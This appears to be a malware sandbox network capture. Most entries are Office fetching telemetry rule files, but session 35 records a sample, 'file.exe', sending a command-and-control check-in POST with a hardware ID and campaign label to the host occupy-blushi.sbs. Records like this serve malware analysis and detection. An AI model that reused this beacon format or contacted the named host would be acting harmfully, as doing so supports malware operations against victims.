2024-11-25 17:28:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7a05741d-701e-0021-0754-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172829Z-15b8b599d886w4hzhC1TEBb4ug000000068g00000000gdfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:29 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c77577e7-501e-0078-0da6-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172829Z-15b8b599d88z9sc7hC1TEBkr4w00000006e0000000005c4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:29 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: cbc435e9-501e-0016-3f64-3d181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172829Z-15b8b599d88m7pn7hC1TEB4axw000000066000000000r491 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:29 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6ea5360a-801e-002a-4904-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172829Z-178bfbc474brk967hC1NYCfu6000000007hg00000000fc4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49746	104.21.7.169	443	6536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:29 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: occupy-blushi.sbs
2024-11-25 17:28:29 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 42 36 35 42 36 30 35 41 38 44 46 38 41 36 31 39 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=B65B605A8DF8A619D7CBBD6DF28D3732
2024-11-25 17:28:30 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ahv65q1r82kgcdn6891qobnq2k; expires=Fri, 21-Mar-2025 11:15:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bf6RtCMyuKOyWcez7K5Jf5tvl1l2H63CvRAotxn3hGIRmAZK5DVMOuL6YCh%2BRwaTvM0rzWF8QSez3AXFsBt58SDSN046%2BCiQxzkNVZz37Sq4NO5gBZmjM6p23fqh2Q%2BjQjxmgQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835b04fc6fde9a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1780&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1683967&cwnd=231&unsent_bytes=0&cid=2fbbaa4ef1a8bb64&ts=1043&x=0"
2024-11-25 17:28:30 UTC	214	IN	Data Raw: 64 30 0d 0a 63 2b 6d 36 6a 71 31 48 6e 50 4c 66 6e 6f 66 4a 73 30 54 47 59 2b 34 32 50 2b 65 62 6f 75 41 4a 41 31 53 47 32 51 31 43 70 39 73 6f 6b 70 6a 37 6a 33 32 2b 6d 71 76 71 39 2f 50 76 61 35 70 4d 33 77 34 4b 79 61 6d 54 31 53 63 79 5a 62 58 33 50 48 54 37 39 42 79 50 33 4e 4b 43 49 2f 6d 55 38 66 76 2f 72 4a 46 6f 35 41 57 61 46 41 58 58 74 34 43 46 4b 7a 6c 6c 2b 2f 56 32 59 4e 4c 35 53 63 76 53 2b 74 6b 33 70 71 37 77 77 71 6a 34 69 33 48 6f 55 64 38 44 45 64 61 71 6b 63 34 34 4e 51 69 70 71 6e 6b 6e 78 72 59 76 78 73 6a 76 77 79 50 7a 6e 2f 48 37 2f 36 79 52 61 4f 51 46 6d 68 51 46 31 37 65 41 68 53 73 35 5a 50 75 45 0d 0a Data Ascii: d0c+m6jq1HnPLfnofJs0TGY+42P+ebouAJA1SG2Q1Cp9sokpj7j32+mqvq9/Pva5pM3w4KyamT1ScyZbX3PHT79ByP3NKCI/mU8fv/rJFo5AWaFAXXt4CFKzll+/V2YNL5ScvS+tk3pq7wwqj4i3HoUd8DEdaqkc44NQipqnknxrYvxsjvwyPzn/H7/6yRaOQFmhQF17eAhSs5ZPuE
2024-11-25 17:28:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ffa63380-201e-006e-3b6c-3dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172830Z-15b8b599d889gj5whC1TEBfyk0000000063000000000a94y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 47ff93a4-401e-0083-0f5d-3e075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-15b8b599d882l6clhC1TEBxd5c000000068g0000000000d9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 3eb19cd4-801e-00ac-194b-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-15b8b599d88phfhnhC1TEBr51n00000006b000000000eqvq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:32 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:31 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9906faf6-f01e-0052-624b-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172831Z-15b8b599d88phfhnhC1TEBr51n00000006a000000000hzz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:31 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: e1811c2a-201e-00aa-06c6-3e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172832Z-178bfbc474bpnd5vhC1NYC4vr400000007sg00000000e763 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:32 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 375df28d-601e-00ab-5b0b-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172832Z-178bfbc474bnwsh4hC1NYC2ubs00000007x0000000006dwn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:33 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:34 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 81672928-a01e-001e-4184-3b49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172834Z-174c587ffdfb5q56hC1TEB04kg000000065000000000f0kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
